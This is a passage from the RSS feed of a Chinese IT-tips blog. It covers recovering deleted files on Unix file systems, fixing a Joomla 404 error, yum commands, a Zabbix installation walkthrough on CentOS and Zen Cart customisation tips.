<p>char s_fpack[6]; </p>
<p>long s_fill[13]; /*填空位*/ </p>
<p>long s_magic; /*指示文件系统的幻数*/ </p>
<p>long s_type; /*新文件系统类型*/ }; </p>
<p>3. i节点表 </p>
<p>i节点表存放在超级块之后，其长度是由超级块中的s_isize字段决定的，其作用是用来描述文件的属性、长度、属主、属组、数据块表等，其数据结构在/usr/include/sys/ino.h中，如下: </p>
<p>struct dinode </p>
<p>{ ushort di_mode; </p>
<p>short di_nlink; </p>
<p>ushort di_uid; </p>
<p>ushort di_gid; </p>
<p>off_t di_size; </p>
<p>char di_addr[40]; </p>
<p>time_t di_atime; </p>
<p>time_t di_mtime; </p>
<p>time_t di_ctime; }; </p>
<p>4. 目录结构 </p>
<p>Unix所有文件均存放于目录中，目录本身也是一个文件。目录存放文件的机制如下: 首先，目录文件本身也象普通文件一样，占用一个索引节点; 其次，由这个索引节点得到目录内容的存放位置; 再次，从其内容中取出一个个的文件名和它对应的节点号，从而访问一个文件。 </p>
<p>由此可知文件名是依靠目录来描述的，文件的内容和其他信息则由索引节点来描述。 </p>
<p>被删文件的恢复策略 </p>
<p>Unix 下删除一个文件的过程很简单，那就是释放索引节点表和文件占用的数据块，清空文件占用的索引节点，但不清除文件内容。但删除文件与删除目录的处理不尽相 同，不同命令删除文件的过程也不相同。 Unix 删除一个文件的具体步骤是: 根据文件i节点的地址表逐一释放文件占用的磁盘数据块，然后清空相应的节点，最后释放i节点。 删除一个目录的过程是: 首先逐一删除目录里的所有文件，然后删除目录。目录本身也是一个文件，故删除方法与删除文件一致。 </p>
<p>要恢复被删除的文件，只能根据删除后留下的东西去做文章。文件被删除后留下了什么呢？由上述分析可知: 其一，留下了文件的内容; 其二，留下了“现场”。文件的恢复策略只能从这两个方面来分析。 </p>
<p>1.根据磁盘现场进行恢复 </p>
<p>如果文件被删除，现场未被破坏(即文件被删除后硬盘未发生过写操作)，而且假定只删除了一个文件，那么可根据系统的分配算法进行恢复。因为系统建立一个文 件时，必定根据某一特定的分配算法决定文件占用的数据块位置。而当该文件被删除后，它所占用的数据块被释放，又回到系统的分配表中，这时如果重新建立一个 文件，系统根据原来的分配算法分配出的数据块必定跟该文件原来占用的数据块一致。而且我们知道，Unix文件最后一个数据块尾部多出的字节是全部置0的， 据此只要调用系统的数据分配算法，在系统中一块一块地申请数据块，只要发现一个分配出的数据块中尾部全为0，即可认为文件结束，由此可确定文件长度和内 容，进而实现恢复。方法如下: </p>
<p>● 申请一个索引节点，即向系统申请创建一个新文件名而不写入任何内容。如: #>/tmp/xx。 </p>
<p>● 调用系统分配数据块算法getnextfreeblock()得到一个数据块号，记入某一地址表变量中。 </p>
<p>● 读出这个数据块，判断其尾部是否全部连续为0，若不是，则回到第二步，若是，则进行第四步。 </p>
<p>● 首先用系统函数fstat得到/tmp/xx的i节点号，然后将第二步所得的地址表写入索引节点的地址表中(注意间址问题)，并根据数据块个数和最后一块中有效数据长度计算出文件大小，写入i节点的di_size字段。 </p>
<p>● 回写系统的索引节点表即可。 </p>
<p>需要说明的是: 第一，系统分配数据块的算法因不同的Unix版本而不同; 第二，有的Unix如SCO Unix 5.0版，其空闲数据块的分配和回收是使用一种动态链表的数据结构来实现的，它们的文件恢复更加容易，只要在空闲链表中的表尾去寻找即可。 </p>
<p>2. 根据内容恢复 </p>
<p>若现场已被破坏，即硬盘发生过写操作，那么只好根据内容来恢复。而且，由于Unix是一个多进程、多用户系统，它每一次开关机或硬件、通信故障等都会记录 系统日志、.sh_history等，硬盘现场被破坏的可能性极大。因此讨论按内容恢复的方法具有更大的实用价值。笔者经过实际探索得出下列四种恢复策略 供参考。 </p>
<p>● 关键字搜索法 </p>
<p>如果知道被删除的文件内容中若干字节的内容，而且该文件长度又不超过一个磁盘 块，那么可以在整个文件系统中搜索这一字节串，得出一个文件所在的数据块，将它们的块号填入一个i节点，即可恢复一个文件。搜索文件系统的算法很简单，说 明如下: 首先，用“#df －k”命令确定文件系统的设备文件名(如/dev/root); 然后，用下述函数搜索，若成功，返回数据块号，反之返回-1。其中fsname是文件系统的设备名，如/dev/root，comp()参数是实现搜索条 件的函数。 </p>
<p>long searchfs(char *fsname , int comp()) </p>
<p>{ FILE *fp; </p>
<p>char buf[1024]; </p>
<p>long i=0; </p>
<p>fp=fopen(fsname,&#8221;r&#8221;); </p>
<p>while (!feof(fp)) </p>
<p>{ fread(buf,1024,1,fp); </p>
<p>if (comp()) /* 检查是否符合搜索条件 */ </p>
<p>return i; /* 若成功返回块号 */ </p>
<p>i++; </p>
<p>} </p>
<p>fclose(fp); </p>
<p>return -1; /* 未找到符合条件的块，返回-1*/ } </p>
<p>● 精确长度搜索法 </p>
<p>如果知道被删除文件的精确长度(字节数)，那么可根据一个数据块的大小，计算出文件的最后一个数据块中数据的精确长度，该数据块中其他字节必然是全0。根 据这一条件，通过搜索整个文件系统，找出其中符合条件的数据块，若出现多个块符合要求，则还需要根据其他条件区分。但不管怎样，根据精确长度分析也是恢复 数据的一个策略。 </p>
<p>● 内容关联法 </p>
<p>如果知道文件内容中存在某种可实现的关联，例如文件的校验和或者文件内容的某种上下文关系，那么也可通过搜索整个文件系统，通过反复尝试寻找符合关联条件的磁盘数据块，进而恢复一个文件。 </p>
<p>● 环境比较法 </p>
<p>如果知道删除文件所在的文件系统的安装过程，那么，另找一台完全相同的机器，按原来完全相同的步骤安装相同版本的Unix和相应的其他软件。可以想象，新 的机器环境会与原来的环境基本相同，比较两个机器上相同文件系统的内容，可以推断出被删除文件的大致位置，至少可以大大减少查找的范围，一旦查找的范围足 够小时，就可以用逐个观察和尝试的方法结合其他条件恢复数据，降低恢复的难度，增加恢复的可靠性。 (作者单位: 中国人民银行抚州市中心支行 ) </p>
<p>链接 </p>
<p>SCO Unix磁盘块分配算法 </p>
<p>由于一个磁盘块的大小为1024字节，所以一个位图块可以管理0&#215;400×8=0&#215;2000个磁盘块。那么，下一个位图块的块号就是0x61d+ 0&#215;2000=0x261d。这与位图索引块中的数据是相符的。那么，位图块0x61d管理着块号为0x61d-0x261c的磁盘块。由以上数据可见， 在这个位图块中，第一个被使用的磁盘块块号是0x61d，即位图块本身。第一个空闲块块号由0&#215;187401处字节0x1c的第2位指示，是0&#215;627。 由于该位图块是文件卷中的第一个位图块，所以0&#215;627号磁盘块也是文件卷中的第一个空闲块。当我们向系统申请磁盘块时，系统通过超级块、位图索引块、位 图块来寻找那些标志位为1的块，然后将相应的标置位置0。</p>
<p>当释放一个磁盘块时，系统就将相应的标志位置1。现在，我们就可以判断出文 件卷中的每一个磁盘块是否被使用了。但是仅凭这些还不能完全恢复误删的文件，我们还得了解SCO Unix分配磁盘块的算法。为了使一个文件所占用的磁盘块相对集中，SCO Unix是按照特定的算法来选择空闲块分配给文件的。假设某文件所占用的最后一个磁盘块的块号为m，现在要再分配一磁盘块给该文件，若该文件是新文件，则 m=0。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1393.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>关于 joomla 404 错误解决办法-组件未找到 component not found</title>
		<link>http://www.evanjiang.net.cn/archives/1379.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1379.html#comments</comments>
		<pubDate>Mon, 07 Dec 2009 01:16:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1379</guid>
		<description><![CDATA[<p>今天遇到joomla传说中的404错误，关闭sef或者apache rewrite模块也没用，中文的资料基本没有解决问题。
404 – Component not found
You may not be able to visit this page because of:
an out-of-date bookmark/favourite
a search engine that has an out-of-date listing for this site
a mistyped address
you have no access to this page
The requested resource was not found.
An error has occurred while processing your request.
Please try one of the following pages:…</p>
<p>最后在英文论坛找到解决办法：
=======================
In developing [...]]]></description>
			<content:encoded><![CDATA[<p>今天遇到joomla传说中的404错误，关闭sef或者apache rewrite模块也没用，中文的资料基本没有解决问题。<br />
404 – Component not found<br />
You may not be able to visit this page because of:<br />
an out-of-date bookmark/favourite<br />
a search engine that has an out-of-date listing for this site<br />
a mistyped address<br />
you have no access to this page<br />
The requested resource was not found.<br />
An error has occurred while processing your request.<br />
Please try one of the following pages:…</p>
<p>最后在英文论坛找到解决办法：<br />
=======================<br />
In developing our new site with Joomla 1.5.1 all was going fine then we started getting the 404 Component Not Found Error people are talking about. We also noticed that our FrontPage was blank/gone. We put in another piece of content for the FrontPage, but this did NOT fix it.<br />
So, I tried turning on and off the Search Engine Friendly settings but that did NOT resolve it either.<br />
EASY SOLUTION (from another post)<br />
<span id="more-1379"></span><br />
No default menu is set in the Main Menu. Go into your Admin page/control panel and go to the Menu Item Manager for the Main Menu. Click the check box next to the Home page at the top of the list. Then click on the yellow star icon in the upper-right corner.<br />
chenke=> 简单解决方案：是因为Main menu中没有指定默认菜单引起的。进入管理后台-》菜单项管理-》Main Menu，点击列表中Home page项的前的选项框，然后点击右上方的黄色星星按钮，完毕。（不一定解决所有组件未找到问题）<br />
ALTERNATE SOLUTION<br />
So I set Debug Info to Maximum and examined the function call stack. After further analysis I noticed that the error was getting triggered when trying to call the dispatch() function for a component (which one I could not tell). It calls the renderComponent() function which does a check on the component name, if it is empty then it raises a 404 Component Not Found Error. For whatever reason Joomla seems to be calling dispatch() on a component with an empty name (possibly because a component is disabled or the FrontPage is broken/missing,) which it should NOT do, and generates the error. I put a very simple if statement in the code which fixed the problem!<br />
In the “includes” directory in the root Joomla directory there is a file called “application.php” Locate the dispatch() function (at line 89). Right before the call (at line 124) to JComponentHelper::renderComponent() put in this “if” statement like below. Make sure it looks exactly like this.<br />
if(! empty($component)) {<br />
$contents = JComponentHelper::renderComponent($component);<br />
$document->setBuffer( $contents, ‘component’);<br />
}<br />
Upload the file to the includes directory and try refreshing your browser again.<br />
Also, if anyone can tell if the error is caused by a disabled component (by turning on all components and seeing if the error goes away) it would be good to post any info about this as well.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1379.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>linux 中命令yum的用法 (网上找的）</title>
		<link>http://www.evanjiang.net.cn/archives/1315.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1315.html#comments</comments>
		<pubDate>Sat, 10 Oct 2009 06:03:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[redhat linux]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1315</guid>
		<description><![CDATA[<p>前几天，为了搭建另外一个CENTOS服务器。好好研究了一下yum的用法，转将一篇从网上找的文章转贴于这里。方便俺日后查询吧。。</p>
<p>这个命令在查找安装盘中的rpm比较快，现在把常用的命令用法列一下，当笔记记录一下
1.列出所有可更新的软件清单
命令：yum check-update
2.安装所有更新软件
命令：yum update
3.仅安装指定的软件
命令：yum install
4.仅更新指定的软件
命令：yum update
5.列出所有可安裝的软件清单
命令：yum list
用YUM安装删除软件
装了系统添加删除软件是常事，yum同样可以胜任这一任务，只要软件是rpm安装的。
安装的命令是，yum install xxx，yum会查询数据库，有无这一软件包，如果有，则检查其依赖冲突关系，如果没有依赖冲突，那么最好，下载安装;如果有，则会给出提示，询问是否要同时安装依赖，或删除冲突的包，你可以自己作出判断。
删除的命令是，yum remove xxx，同安装一样，yum也会查询数据库，给出解决依赖关系的提示。
1.用YUM安装软件包
命令：yum install
2.用YUM删除软件包
命令：yum remove
用YUM查询软件信息
我 们常会碰到这样的情况，想要安装一个软件，只知道它和某方面有关，但又不能确切知道它的名字。这时yum的查询功能就起作用。你可以用 yum search keyword这样的命令来进行搜索，比如我们要则安装一个Instant Messenger，但又不知到底有哪些，这时不妨用 yum search messenger这样的指令进行搜索，yum会搜索所有可用rpm的描述，列出所有描述中和messeger有关的rpm包，于 是我们可能得到gaim，kopete等等，并从中选择。
有时我们还会碰到安装了一个包，但又不知道其用途，我们可以用yum info packagename这个指令来获取信息。
1.使用YUM查找软件包
命令：yum search
2.列出所有可安装的软件包
命令：yum list
3.列出所有可更新的软件包
命令：yum list updates
4.列出所有已安装的软件包
命令：yum list installed
5.列出所有已安装但不在 Yum Repository 內的软件包
命令：yum list extras
6.列出所指定的软件包

命令：yum list
7.使用YUM获取软件包信息
命令：yum info
8.列出所有软件包的信息
命令：yum info
9.列出所有可更新的软件包信息
命令：yum info updates
10.列出所有已安裝的软件包信息
命令：yum info installed
11.列出所有已安裝但不在 Yum Repository 內的软件包信息
命令：yum info extras
12.列出软件包提供哪些文件
命令：yum provides
清除YUM缓存
yum 会把下载的软件包和header存储在cache中，而不会自动删除。如果我们觉得它们占用了磁盘空间，可以使用yum clean指令进行清除，更精确 的用法是yum clean headers清除header，yum clean packages清除下载的rpm包，yum clean [...]]]></description>
			<content:encoded><![CDATA[<p>前几天，为了搭建另外一个CENTOS服务器。好好研究了一下yum的用法，转将一篇从网上找的文章转贴于这里。方便俺日后查询吧。。</p>
<p>这个命令在查找安装盘中的rpm比较快，现在把常用的命令用法列一下，当笔记记录一下<br />
1.列出所有可更新的软件清单<br />
命令：yum check-update<br />
2.安装所有更新软件<br />
命令：yum update<br />
3.仅安装指定的软件<br />
命令：yum install<br />
4.仅更新指定的软件<br />
命令：yum update<br />
5.列出所有可安裝的软件清单<br />
命令：yum list<br />
用YUM安装删除软件<br />
装了系统添加删除软件是常事，yum同样可以胜任这一任务，只要软件是rpm安装的。<br />
安装的命令是，yum install xxx，yum会查询数据库，有无这一软件包，如果有，则检查其依赖冲突关系，如果没有依赖冲突，那么最好，下载安装;如果有，则会给出提示，询问是否要同时安装依赖，或删除冲突的包，你可以自己作出判断。<br />
删除的命令是，yum remove xxx，同安装一样，yum也会查询数据库，给出解决依赖关系的提示。<br />
1.用YUM安装软件包<br />
命令：yum install<br />
2.用YUM删除软件包<br />
命令：yum remove<br />
用YUM查询软件信息<br />
我 们常会碰到这样的情况，想要安装一个软件，只知道它和某方面有关，但又不能确切知道它的名字。这时yum的查询功能就起作用。你可以用 yum search keyword这样的命令来进行搜索，比如我们要则安装一个Instant Messenger，但又不知到底有哪些，这时不妨用 yum search messenger这样的指令进行搜索，yum会搜索所有可用rpm的描述，列出所有描述中和messeger有关的rpm包，于 是我们可能得到gaim，kopete等等，并从中选择。<br />
有时我们还会碰到安装了一个包，但又不知道其用途，我们可以用yum info packagename这个指令来获取信息。<br />
1.使用YUM查找软件包<br />
命令：yum search<br />
2.列出所有可安装的软件包<br />
命令：yum list<br />
3.列出所有可更新的软件包<br />
命令：yum list updates<br />
4.列出所有已安装的软件包<br />
命令：yum list installed<br />
5.列出所有已安装但不在 Yum Repository 內的软件包<br />
命令：yum list extras<br />
6.列出所指定的软件包<br />
<span id="more-1315"></span><br />
命令：yum list<br />
7.使用YUM获取软件包信息<br />
命令：yum info<br />
8.列出所有软件包的信息<br />
命令：yum info<br />
9.列出所有可更新的软件包信息<br />
命令：yum info updates<br />
10.列出所有已安裝的软件包信息<br />
命令：yum info installed<br />
11.列出所有已安裝但不在 Yum Repository 內的软件包信息<br />
命令：yum info extras<br />
12.列出软件包提供哪些文件<br />
命令：yum provides<br />
清除YUM缓存<br />
yum 会把下载的软件包和header存储在cache中，而不会自动删除。如果我们觉得它们占用了磁盘空间，可以使用yum clean指令进行清除，更精确 的用法是yum clean headers清除header，yum clean packages清除下载的rpm包，yum clean all一 股脑儿端<br />
1.清除缓存目录(/var/cache/yum)下的软件包<br />
命令：yum clean packages<br />
2.清除缓存目录(/var/cache/yum)下的 headers<br />
命令：yum clean headers<br />
3.清除缓存目录(/var/cache/yum)下旧的 headers<br />
命令：yum clean oldheaders<br />
4.清除缓存目录(/var/cache/yum)下的软件包及旧的headers<br />
命令：yum clean, yum clean all (= yum clean packages; yum clean oldheaders)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1315.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>zabbix 1.6.6 安装配置步骤</title>
		<link>http://www.evanjiang.net.cn/archives/1303.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1303.html#comments</comments>
		<pubDate>Tue, 15 Sep 2009 04:01:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1303</guid>
		<description><![CDATA[<p>zabbix 是一款新兴的开源网络监控软件。。跟nagios cacti有得一拼。特摘录下面的一篇文章来作个记录。有空多研究。。。</p>
<p>zabbix 1.6.6 安装配置步骤</p>
<p>环境：CentOS5.2</p>
<p>一、LAMP环境搭建（）
前提是保证LAMP已经正常运行(yum install httpd mysql mysql-server php perl)
另外需先安装下面的软件包
最好用yum来安装，自动解决软件包之间的依赖关系
mysql-devel
net-snmp-devel
curl-devel
perl-DBI
php-gd
php-mysql
php-bcmath</p>
<p>二、数据库及其相关表的建立
-bash-3.1# wget
-bash-3.1# tar zvxf zabbix-1.6.6.tar.gz
-bash-3.1# cd zabbix-1.6.6
-bash-3.1# mysql -u root -p
mysql> create database zabbix;
mysql>quit;
-bash-3.1# cd create/schema/
-bash-3.1# cat mysql.sql &#124; mysql -u root -p zabbix
-bash-3.1# cd ../data/
-bash-3.1# cat data.sql &#124; mysql -u root -p zabbix
-bash-3.1# cat images_mysql.sql &#124; mysql -u root -p zabbix
三、编译安装zabbix
服务器端的编译
-bash-3.1#  ./configure &#8211;with-mysql [...]]]></description>
			<content:encoded><![CDATA[<p>zabbix 是一款新兴的开源网络监控软件。。跟nagios cacti有得一拼。特摘录下面的一篇文章来作个记录。有空多研究。。。</p>
<p>zabbix 1.6.6 安装配置步骤</p>
<p>环境：CentOS5.2</p>
<p>一、LAMP环境搭建（）<br />
前提是保证LAMP已经正常运行(yum install httpd mysql mysql-server php perl)<br />
另外需先安装下面的软件包<br />
最好用yum来安装，自动解决软件包之间的依赖关系<br />
mysql-devel<br />
net-snmp-devel<br />
curl-devel<br />
perl-DBI<br />
php-gd<br />
php-mysql<br />
php-bcmath</p>
<p>二、数据库及其相关表的建立<br />
-bash-3.1# wget<br />
-bash-3.1# tar zvxf zabbix-1.6.6.tar.gz<br />
-bash-3.1# cd zabbix-1.6.6<br />
-bash-3.1# mysql -u root -p<br />
mysql> create database zabbix;<br />
mysql>quit;<br />
-bash-3.1# cd create/schema/<br />
-bash-3.1# cat mysql.sql | mysql -u root -p zabbix<br />
-bash-3.1# cd ../data/<br />
-bash-3.1# cat data.sql | mysql -u root -p zabbix<br />
-bash-3.1# cat images_mysql.sql | mysql -u root -p zabbix<br />
三、编译安装zabbix<br />
服务器端的编译<br />
-bash-3.1#  ./configure &#8211;with-mysql &#8211;with-net-snmp &#8211;with-libcurl &#8211;enable-server &#8211;enable-agent &#8211;enable-proxy<br />
&#8211;prefix=/usr/local/zabbix<br />
客户端的编译<br />
<span id="more-1303"></span><br />
./configure &#8211;prefix=/usr/local/zabbix &#8211;enable-agent<br />
-bash-3.1# make<br />
-bash-3.1# make install<br />
-bash-3.1# vi /etc/services<br />
添加<br />
zabbix-agent    10050/tcp Zabbix Agent<br />
zabbix-agent    10050/udp Zabbix Agent<br />
zabbix-trapper  10051/tcp Zabbix Trapper<br />
zabbix-trapper  10051/udp Zabbix Trapper</p>
<p>四、拷贝一些文件以及修改一些文件<br />
-bash-3.1# mkdir /etc/zabbix<br />
-bash-3.1# cp misc/conf/* /etc/zabbix/<br />
-bash-3.1# cd frontends/<br />
-bash-3.1# cp -a php /var/www/html/<br />
-bash-3.1# cd /var/www/html/<br />
-bash-3.1# mv php zabbix<br />
-bash-3.1# chown zabbix:zabbix -R zabbix/<br />
-bash-3.1# cd /var/www/html/zabbix/include<br />
-bash-3.1# vi db.inc.php<br />
添加如下内容，同时还要修改/var/www/html/zabbix/include/setup.inc.php同样加入下面的内容<br />
$DB_TYPE=&#8221;MYSQL&#8221;;<br />
$DB_SERVER=&#8221;localhost&#8221;;<br />
$DB_DATABASE=&#8221;zabbix&#8221;;<br />
$DB_USER=&#8221;root&#8221;;<br />
$DB_PWD=&#8221;";<br />
-bash-3.1# vi /etc/php.ini<br />
找到max_execution_time = 30<br />
改成max_execution_time = 300<br />
找到 ;date.timezone =<br />
改成date.timezone = Asia/Shanghai<br />
对配置文件做一下修改，配置文件为：<br />
-bash-3.1# vi /etc/zabbix/zabbix_server.conf<br />
-bash-3.1# vi /etc/zabbix/zabbix_agentd.conf<br />
这两个文件可以看里面的说明来修改 </p>
<p>复制启动程序<br />
-bash-3.1# cp misc/init.d/redhat/zabbix_server_ctl  /etc/init.d/<br />
-bash-3.1# cp misc/init.d/redhat/zabbix_agentd_ctl /etc/init.d/<br />
修改启动程序参数<br />
-bash-3.1# vi /etc/init.d/zabbix_server_ctl<br />
# base zabbix dir<br />
BASEDIR=/usr/local/zabbix<br />
# PID file<br />
PIDFILE=/var/tmp/zabbix_server.pid<br />
# binary file<br />
ZABBIX_SUCKERD=$BASEDIR/sbin/zabbix_server<br />
-bash-3.1# vi /etc/init.d/zabbix_agentd_ctl<br />
# base zabbix dir<br />
BASEDIR=/usr/local/zabbix<br />
# pid file (as of 1.0 beta 10)<br />
PIDFILE=/var/tmp/zabbix_agentd.pid<br />
# binary file<br />
ZABBIX_AGENTD=$BASEDIR/sbin/zabbix_agentd</p>
<p>配置文件<br />
-bash-3.1# mkdir /etc/zabbix<br />
-bash-3.1# chown -R zabbix.zabbix /etc/zabbix/<br />
-bash-3.1# cp misc/conf/zabbix_* /etc/zabbix/</p>
<p>关闭启动的相关命令是：<br />
-bash-3.1# /etc/init.d/zabbix_server_ctl start|stop|restart<br />
-bash-3.1# /etc/init.d/zabbix_agentd_ctl start|stop|restart</p>
<p>安装自启动服务<br />
-bash-3.1# chkconfig &#8211;add zabbix-server<br />
-bash-3.1# chkconfig &#8211;add zabbix-agent<br />
-bash-3.1# chkconfig zabbix-server on<br />
-bash-3.1# chkconfig zabbix-agent on</p>
<p>复制zabbix网页文件到apacheroot目录<br />
-bash-3.1# mkdir /var/www/html/zabbix<br />
-bash-3.1# cp -Rpf frontends/php/* /var/www/html/zabbix</p>
<p>下面开启服务端以及客户端：<br />
-bash-3.1# /etc/init.d/zabbix_server_ctl start<br />
-bash-3.1# /etc/init.d/zabbix_agentd_ctl start</p>
<p>五、登录http://ip/zabbix<br />
有问题或者Fail请看页面上的提示，很简单就能解决<br />
默认登录用户名admin密码zabbix</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1303.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>zencart 常用操作技巧</title>
		<link>http://www.evanjiang.net.cn/archives/1298.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1298.html#comments</comments>
		<pubDate>Sun, 30 Aug 2009 23:59:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/archives/1298.html</guid>
		<description><![CDATA[<p>有关Zen-cart有一切……</p>
<p>去掉产品目录旁边的产品总数方法</p>
<p>在管理后台里，进入”Configuration” —> “My Store” —> “Show Category Counts”选项，设置为关即可。</p>
<p>目录后面会有一个烦锁的小箭头-></p>
<p>按Zen-cart的默认配置，目录后面有->(12356)这样风格的统计数字显示。如何去掉呢？</p>
<p>在管理后台里，进入”Configuration” —> “Layout Settings” —> “Categories Separator between the Category Name and Count”选项，按你的需要设置即可。</p>
<p>在Zen-cart里如何修改”Powered by Zen Cart”的内容?</p>
<p>这个可以在后台My Store->footer text body里进行修改，也可以到FTP里的/include/template/你的模板/common/tpl_footer.php里进行修改。

页眉下面有一大堆烦锁的Categories tags，怎么去掉？</p>
<p>后台管理 —> Configuration —> Layout Settings —> Categories-Tabs Menu ON/OFF</p>
<p>把这个属性设为关闭即可！</p>
<p>怎么修改Contact Us的页面内容与风格？</p>
<p>如果是内容的话，在后台管理的Tools —> Define Pages Editor里进行页面内容的修改。</p>
<p>如果是风格的话，在CSS文件里找到对应的id或是class名进行修改。</p>
<p>如果是要修改显示内容的话，在你的模板目录下的templates/tpl_contact_us_default.php里修改，如果你重写页面内容的话，请在common文件夹下找到相应的文件进行修改。</p>
<p>打开产品根目录后，会显示子目录的排列图标，这个东西怎么修改？</p>
<p>在模板目录下的common/tpl_columnar_display.php文件里，修改显示的内容。</p>
<p>浏览器的抬头上写着”Zen Cart!, The Art of …”，怎么修改？</p>
<p>打开文件includes/languages/english/meta_tags.php，在里面找到下面这段</p>
<p>// page title define(’TITLE’, ‘Zen Cart!’);</p>
<p>// Site Tagline define(’SITE_TAGLINE’, ‘The [...]]]></description>
			<content:encoded><![CDATA[<p>有关Zen-cart有一切……</p>
<p>去掉产品目录旁边的产品总数方法</p>
<p>在管理后台里，进入”Configuration” —> “My Store” —> “Show Category Counts”选项，设置为关即可。</p>
<p>目录后面会有一个烦锁的小箭头-></p>
<p>按Zen-cart的默认配置，目录后面有->(12356)这样风格的统计数字显示。如何去掉呢？</p>
<p>在管理后台里，进入”Configuration” —> “Layout Settings” —> “Categories Separator between the Category Name and Count”选项，按你的需要设置即可。</p>
<p>在Zen-cart里如何修改”Powered by Zen Cart”的内容?</p>
<p>这个可以在后台My Store->footer text body里进行修改，也可以到FTP里的/include/template/你的模板/common/tpl_footer.php里进行修改。<br />
<span id="more-1298"></span><br />
页眉下面有一大堆烦锁的Categories tags，怎么去掉？</p>
<p>后台管理 —> Configuration —> Layout Settings —> Categories-Tabs Menu ON/OFF</p>
<p>把这个属性设为关闭即可！</p>
<p>怎么修改Contact Us的页面内容与风格？</p>
<p>如果是内容的话，在后台管理的Tools —> Define Pages Editor里进行页面内容的修改。</p>
<p>如果是风格的话，在CSS文件里找到对应的id或是class名进行修改。</p>
<p>如果是要修改显示内容的话，在你的模板目录下的templates/tpl_contact_us_default.php里修改，如果你重写页面内容的话，请在common文件夹下找到相应的文件进行修改。</p>
<p>打开产品根目录后，会显示子目录的排列图标，这个东西怎么修改？</p>
<p>在模板目录下的common/tpl_columnar_display.php文件里，修改显示的内容。</p>
<p>浏览器的抬头上写着”Zen Cart!, The Art of …”，怎么修改？</p>
<p>打开文件includes/languages/english/meta_tags.php，在里面找到下面这段</p>
<p>// page title define(’TITLE’, ‘Zen Cart!’);</p>
<p>// Site Tagline define(’SITE_TAGLINE’, ‘The Art of E-commerce’);</p>
<p>把这些文字替换掉就可以。当然，如果你是中文的页面，就要到相应的文件夹下面去找。</p>
<p>我想把左、中、右三栏之间留一点空隙怎么办？</p>
<p>Zen-cart默认把左侧栏、中间产品栏、右侧栏排列得很紧密，我想把三间之间的两个空隙弄小一些，怎么办？</p>
<p>只要按这个方法，你可以随意调节三者之间的空隙大小。</p>
<p>在后台Configuration —> Layout Setting中，仔细调节</p>
<p>Column Width – Left Boxes</p>
<p>Column Width – Right Boxes</p>
<p>和</p>
<p>Column Width -Left</p>
<p>Column Width – Right</p>
<p>的值，上面的这类带有Boxes的，是设定显示给我们看的box的大小，而没有Boxes的这类值，则是显示背景的大小。</p>
<p>只要你把下面的值设得比上面的值大，就有空隙出来。</p>
<p>刚安装好的Zen-cart，如何修改首页的Congratulations! you have successfully installed…</p>
<p>If you want to change “Congratulations! You have successfully installed your Zen Cart; E-Commerce Solution” with your own text open the includes/languages/ENGLISH/index.php file and find the following code:</p>
<p>// This section deals with the “home” page at the top level with no options/products selected<br />
/*Replace this text with the headline you would like for your shop. For example: ‘Welcome to My SHOP!’*/<br />
define(’HEADING_TITLE’, ‘Congratulations! You have successfully installed your Zen Cart&trade; E-Commerce Solution.’);<br />
} elseif ($category_depth == ‘nested’) {<br />
// This section deals with displaying a subcategory<br />
/*Replace this line with the headline you would like for your shop. For example: ‘Welcome to My SHOP!’/<br />
define(’HEADING_TITLE’, ‘Congratulations! You have successfully installed your Zen Cart&trade; E-Commerce Solution.’);<br />
}</p>
<p>Replace the text starting “Congratulations” with your own text. Make sure that the single quote marks are not left out.</p>
<p>如何修改左、右边框的显示风格？</p>
<p>修改文件common/tpl_box_default_left.php或common/tpl_box_default_left.php即可。</p>
<p>我得到一个空白页面，怎么调试呢？</p>
<p>最简单的方法，把以下代码加入到你的index.php里：</p>
<p><?php<br />
  define(’STRICT_ERROR_REPORTING’, true);<br />
?></p>
<p>这样，你访问页面产生的错误消息就会输出到页面。当然，记得把这个关掉，如果你把错误fix掉的话，免得给用户看到。</p>
<p>我要单独修改Categories里的内容，怎么办？</p>
<p>不单是Categories，所有的sidebox的内容，都可以在/includes/templates/YourTemplate/sideboxes文件夹里进行修改。</p>
<p>tpl_categories文件，就是修改Categories里面的显示内容的，当然，你修改里面的CSS标签，就修改Categories的样式。</p>
<p>你可以通过common/tpl_box_default_left.php和common/tpl_box_default_right.php这两个文件来对左栏和右栏的内容进行大的调整。</p>
<p>一般来说，你只要修改sideboxes里面对应的文件就能搞定你所需要的东西。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1298.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>给xoops 安装上zencart模块，解决后台login页面错误</title>
		<link>http://www.evanjiang.net.cn/archives/1296.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1296.html#comments</comments>
		<pubDate>Thu, 27 Aug 2009 17:21:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1296</guid>
		<description><![CDATA[Call to a member function Execute() on a non-object in /home/shopxoog/public_html/index/modules/shop/includes/functions/sessions.php on line [...]]]></description>
